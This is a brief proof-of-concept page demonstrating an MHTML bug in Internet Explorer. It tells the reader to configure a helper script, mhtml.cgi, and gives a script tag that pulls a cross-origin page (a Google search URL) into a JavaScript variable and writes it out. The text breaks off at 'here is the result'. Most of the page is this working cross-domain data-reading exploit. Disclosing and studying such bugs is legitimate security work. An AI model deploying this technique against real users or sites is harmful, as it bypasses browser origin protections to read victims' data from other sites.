This demonstrates the mhtml bug in MSIE. Make sure you modify mhtml.cgi to have the correct path of your script. Also, make sure you don't put the "http://" in your target, as that will simply redirect you. The result is written into the "result" variable, which can be used however you see fit. Here is the syntax:

<script src="mhtml.cgi?target=www.google.com/search?q=test&rls=org.mozilla:en-US:official"></script>
<script>document.write(result)</script>

And here is the result (this will only work in MSIE):